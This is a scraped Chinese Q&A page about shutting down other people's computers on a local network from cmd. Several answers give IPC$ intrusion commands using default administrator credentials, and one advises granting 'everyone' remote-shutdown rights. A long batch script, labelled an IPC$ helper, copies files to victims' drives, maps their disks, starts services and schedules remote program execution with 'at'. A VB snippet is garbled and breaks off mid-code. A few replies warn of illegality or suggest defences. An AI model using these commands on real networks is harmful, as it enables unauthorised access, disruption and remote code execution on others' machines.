怎麼能給區域網內所有人關機,如何用cmd控制區域網內其他計算機關機

2021-06-08 13:39:43 字數 9055 閱讀 7182

1樓:前行

對方用了一個shutdown -s -m \\你的計算機ip 的命令關閉了你的計算機。

使用這個命令的前提是需要知道對方的計算機帳號,密碼,以及對方計算機開啟ipc$共享(預設共享).

換句話說,你的計算機沒有設定密碼,或密碼太簡單被別人知道,所以對方才有這個許可權。

防範方法很簡單,給自己的計算機設定一個密碼,如果特別需求可以設定強密碼,按照微軟定義,一個強密碼包括「大小寫字母,數字,符號,長度大於等於8位「組成。其次可以關閉ipc$共享,其方法網上到處都是。

攻擊方法如下:

如果你知道對方計算機ip(例如:192.168.1.1),計算機帳號(例如administrator預設管理員帳號),計算機密碼(例如123),

那麼請在命令列下輸入以下命令(在開始選單--執行--輸入cmd) :

net use \\192.168.1.1\ipc$ "123" /user:"administrator"

shutdown -s -m \\192.168.1.1

解答完畢!

ps:如果對方在你的計算機中種入木馬,請先清除木馬 !

2樓:國企天下

你必須給每個區域網內的電腦先安裝個控制軟體客戶端,就像網咖裡面的那種軟體,在伺服器上安裝控制端。這樣就可以像網咖裡一樣控制網內關機了。

3樓:匿名使用者

你是網路管理員麼?非管理員不可濫用權利!

4樓:qu死吧bai度

在需要被關機的電腦(以下簡稱a機)中,開啟命令提示符,輸入gpedit.msc開啟組策略,依次計算機配置,windows設定,安全設定,本地策略,使用者許可權分配,在右側找到「從遠端系統強行關機」項,雙擊開啟它,新增使用者「everyone」並單擊確定。以後想要關a機的時候,在區域網內的任意一臺電腦上開啟命令提示符輸入「shutdown /m \\a機區域網ip /s /t 10」即可。

注:想知道a機區域網ip,在a機的命令提示符中輸入ipconfig即可(「ipaddress的右側」)。

5樓:匿名使用者

在你的機子上搞個永珍,把你的機子設成伺服器就行了!

6樓:

樓上,網路執法官是不行的!

要能關別人的機,又能不被關,這叫做魚和熊掌同時兼得,可能嗎?不可能的!!

如果別人沒防範在命令列下用shutdown -s -m \\computername

(在開始選單--執行--輸入cmd)

有防備的,你用什麼都不行

7樓:

走到他們身邊,按下鍵盤上的power鍵

8樓:匿名使用者

儘量不要這麼做

一是心態不好,榮過不剋制以後可能會走上邪路

二是不可能不留下痕,都有記錄的,查到了對你也不好

9樓:

哈哈 你是哪個的啊? 我可是經常幹這事啊 你不是要報復我吧

如果不是一個學校的 我再告訴你 我可不想讓別人給我關了

10樓:

一、準備工具:

剪刀一把(鉗子也可以,不過要絕緣)

二、開始了

首先找到你想關的那一個機房,然後找到電源匯流排路,然後用第一步準備的剪刀把其中一跟或若干跟剪斷。

然後,完成!!!!哈哈

11樓:

靠。。犯法的。。我要舉報。。。。。

12樓:匿名使用者

使用winsock控制元件

winsock.senddata "close"

另一臺接收後,執行關機操作

或是adjusttokenprivilegesfornt'取得關機許可權

'以下**放在一個標準摸塊中:

option explicit

public declare function setsystempowerstate lib "kernel32" (byval fsuspend as long, byval fforce as long) as long

enum howexitconst

ewx_force = 4 ' 強制關機

ewx_logoff = 0 ' 登出

ewx_reboot = 2 ' 重開機

ewx_shutdown = 1 ' 關機

ewx_poweroff = 8 '關閉電源

end enum

const token_query = &h8

const anysize_array = 1

public type luid

lowpart as long

highpart as long

end type

public type luid_and_attributes

pluid as luid

attributes as long

end type

public type token_privileges

privilegecount as long

privileges(anysize_array) as luid_and_attributes

end type

public declare function exitwindow*** lib "user32" (byval uflags as long, _

byval dwreserved as long) as long

public declare function getcurrentprocess lib "kernel32" () as long

public declare function lookupprivilegevalue lib "advapi32.dll" alias _

"lookupprivilegevaluea" (byval lpsystemname as string, _

byval lpname as string, lpluid as luid) as long

public declare function adjusttokenprivileges lib "advapi32.dll" _

(byval tokenhandle as long, byval disableallprivileges as long, _

newstate as token_privileges, byval bufferlength as long, _

previousstate as token_privileges, returnlength as long) as long

public declare function openprocesstoken lib "advapi32.dll" _

(byval processhandle as long, byval desiredaccess as long, _

tokenhandle as long) as long

'**************win2000安全機制關機*************************

public sub adjusttoken()

dim hdlprocesshandle as long

dim hdltokenhandle as long

dim tmpluid as luid

dim tkp as token_privileges

dim tkpnewbutignored as token_privileges

dim lbufferneeded as long

hdlprocesshandle = getcurrentprocess()

openprocesstoken hdlprocesshandle, (token_adjust_privileges or token_query), _

hdltokenhandle

就好了並切在windows nt下,你能強制本地或遠端機器定時關閉。這段**將告訴你怎麼做。你能指定系統關閉前的等待時間(0代表立即關閉),關閉程序的優先順序(決定是否允許儲存未完成的工作)和機器是否要重新啟動。

如何用cmd控制區域網內其他計算機關機

13樓:匿名使用者

@echo off

title ipc$      cheng...

mode con: cols=50 lines=15

:zjm

clscolor 0a

for /l %%i in (1,1,3) do echo.

echo                       -簡介-

echo.

echo        此程式的作用:簡化了ipc$連線時輸入煩瑣的

echo    命令!也可以說是為新手而做,對於一個技術老練

echo    的人,應該不會需要此程式!

echo.

echo             輸入要連線的ip。 按"q"退出!

echo.

set/p ip=   請輸入ip:

if /i "%ip%"=="q" exit

set/p user=   請輸入使用者名稱:

if /i "%user%"=="q" exit

set/p password=   請輸入密碼:

if /i "%password%"=="q" exit

echo.

echo  正在建立連線......

net use \\%ip%\ipc$ "%password%" /user:%user%

if errorlevel 1 goto error

if errorlevel 0 goto ok

:error

color 0c

echo 連線失敗!  請看提示!    按任意鍵返回主介面...

pause>nul & goto zjm

:okcls

color 0a

for /l %%i in (1,1,4) do echo.

echo                  恭喜你!連線成功!

echo.

echo      1:傳送檔案     2:對映磁碟   3:遠端關機

echo      4:遠端開啟服務     5:遠端執行命令或程式

echo      6:返回重新選擇ip  7:斷開此連線  8:退出

echo.

set/p shr=請選擇:

if /i "%shr%"=="1" goto chuansong

if /i "%shr%"=="2" goto yingshe

if /i "%shr%"=="3" goto guanji

if /i "%shr%"=="4" goto fuwu

if /i "%shr%"=="5" goto mingling

if /i "%shr%"=="6" goto zjm

if /i "%shr%"=="7" goto duankai

if /i "%shr%"=="8" exit

if errorlevel 1 goto cw

:cwcls

echo            您輸入錯誤了!  按任意鍵返回!

pause >nul

goto ok

:chuansong

clscolor 0a

for /l %%i in (1,1,3) do echo.

echo      輸入本地的檔案的路徑,(例如:c:\love.*** )

echo      若路徑太長,難以輸入,可直接把檔案拖到此批處理

echo      視窗內,就會自動把檔案路徑就會顯示出來!

echo            按"4"返回。

echo.

set/p wj=輸入本地檔案路徑:

if /i "%wj%"=="4" goto ok

set/p pf=要把檔案傳送到的碟符:

copy %wj% \\%ip%\%pf%

if errorlevel 1 goto error

if errorlevel 0 echo,ok!!! & echo,按任意鍵返回 & pause>nul & goto chuansong

:error

color 0c

echo 傳送失敗!  請看提示!    按任意鍵返回主介面...

pause>nul & goto ok

:yingshe

clscolor 0a

echo.

echo.

echo            按"4"返回。

echo.

set/p cp=輸入對方的磁碟碟符:

if /i "%cp%"=="4" goto ok

set/p bd=對映為你的哪個碟符:

echo 正在執行...

net use %bd%: \\%ip%\%cp%

if errorlevel 1 goto error

if errorlevel 0 echo,ok!!! & echo,按任意鍵返回 & pause>nul & goto yingshe

:error

color 0c

echo 對映失敗!  請看提示!    按任意鍵返回主介面...

pause>nul & goto ok

:guanji

clsfor /l %%i in (1,1,4) do echo.

echo   1:關機     2:重啟   3:登出  4:返回

set/p shr=請選擇:

if /i "%shr%"=="4" goto ok

if /i "%shr%"=="1" shutdown -m \\%ip% -s -t 0 >nul

if /i "%shr%"=="2" shutdown -m \\%ip% -r -t 0 >nul

if /i "%shr%"=="3" shutdown -m \\%ip% -l -t 0 >nul

if /i "%shr%"=="4" goto ok

if errorlevel 1 goto error

if errorlevel 0 echo,ok!!! & echo,按任意鍵返回 & pause>nul & goto ok

:error

color 0c

echo 操作失敗!  請看提示!    按任意鍵返回主介面...

pause>nul & goto ok

:fuwu

clscolor 0a

for /l %%i in (1,1,3) do echo.

set/p fw=  輸入要遠端開啟的服務名:

if /i "%fw%"=="4" goto ok

sc \\%ip% config %fw% start= demand >nul 2>nul

sc \\%ip% start %fw% >nul 2>nul

if errorlevel 1 goto error

if errorlevel 0 echo,ok!!! & echo,按任意鍵返回 & pause>nul & goto ok

:error

color 0c

echo 操作失敗!  請看提示!    按任意鍵返回主介面...

pause>nul & goto ok

:mingling

clscolor 0a

for /l %%i in (1,1,3) do echo.

sc \\%ip% config schedule start= demand >nul 2>nul

sc \\%ip% start schedule >nul 2>nul

net time \\%ip%

echo  要在遠端計算機上執行的程式都是靠「at」來執行

echo  因此,若想在2:20的時候執行某程式,就要把指定

echo  執行的時間推後至少兩分鐘!

echo       指定的時間格式要為24小時制,(例:15:20)

set/p cx=輸入程式路徑:

if /i "%cx%"=="4" goto ok

set/p time=指定幾時幾分執行:

at \\%ip% %time% %cx%

if errorlevel 1 goto error

if errorlevel 0 echo,ok!!! & echo,按任意鍵返回 & pause>nul & goto ok

:error

color 0c

echo 操作失敗!  請看提示!    按任意鍵返回主介面...

pause>nul & goto ok

:duankai

echo 正在斷開...

net use \\%ip% /del

if errorlevel 1 goto error

if errorlevel 0 echo,ok!!! & echo,按任意鍵返回 & pause>nul & goto ok

:error

color 0c

echo 操作失敗!  請看提示!    按任意鍵返回主介面...

pause>nul & goto ok

區域網內老掉線怎麼回事啊,為什麼區域網內網路老掉線

ping閘道器ping不到,用arp a檢查閘道器實體地址,發現為空 no entry 沒有閘道器和它的實體地址對應項。手工設定,重啟後還是為空。於是猜測網路不通導致arp協議無法實現。終於,在將網線換了一個交換機埠後,網路通了,arp表也正常了。想不到同一個交換機上的埠還不一樣.有一類病毒,利用a...

在區域網內加無線路由器怎麼設定,在區域網內加一個無線路由器怎麼設定

參考著看吧 將無線路由的wan口用網線連到有線路由的一個lan口上.設定有兩種辦法,簡單一點的 1 在無線路由的外網連線方式上選 動態ip 以接收有線路由分派的 ip地址.2 無線路由與有線路由必須設定成不在同一網段.另一個設定辦法 將無線路由器設定成 無線ap 模式.此時無線路由起一個將有線訊號轉...

怎樣新增區域網印表機,區域網內怎麼連線到印表機啊

開始 執行 輸入 192.168.1.100 印表機ip 提示輸入連線這臺印表機電腦的使用者名稱和密碼!第二種方式 開始 控制面板 印表機和傳真 新增印表機 下一步 網路印表機或者連線到其他電腦的印表機 連線到這臺印表機 輸入 192.168.1.100 印表機ip 就ok啦 不懂可以訊息我!首先保...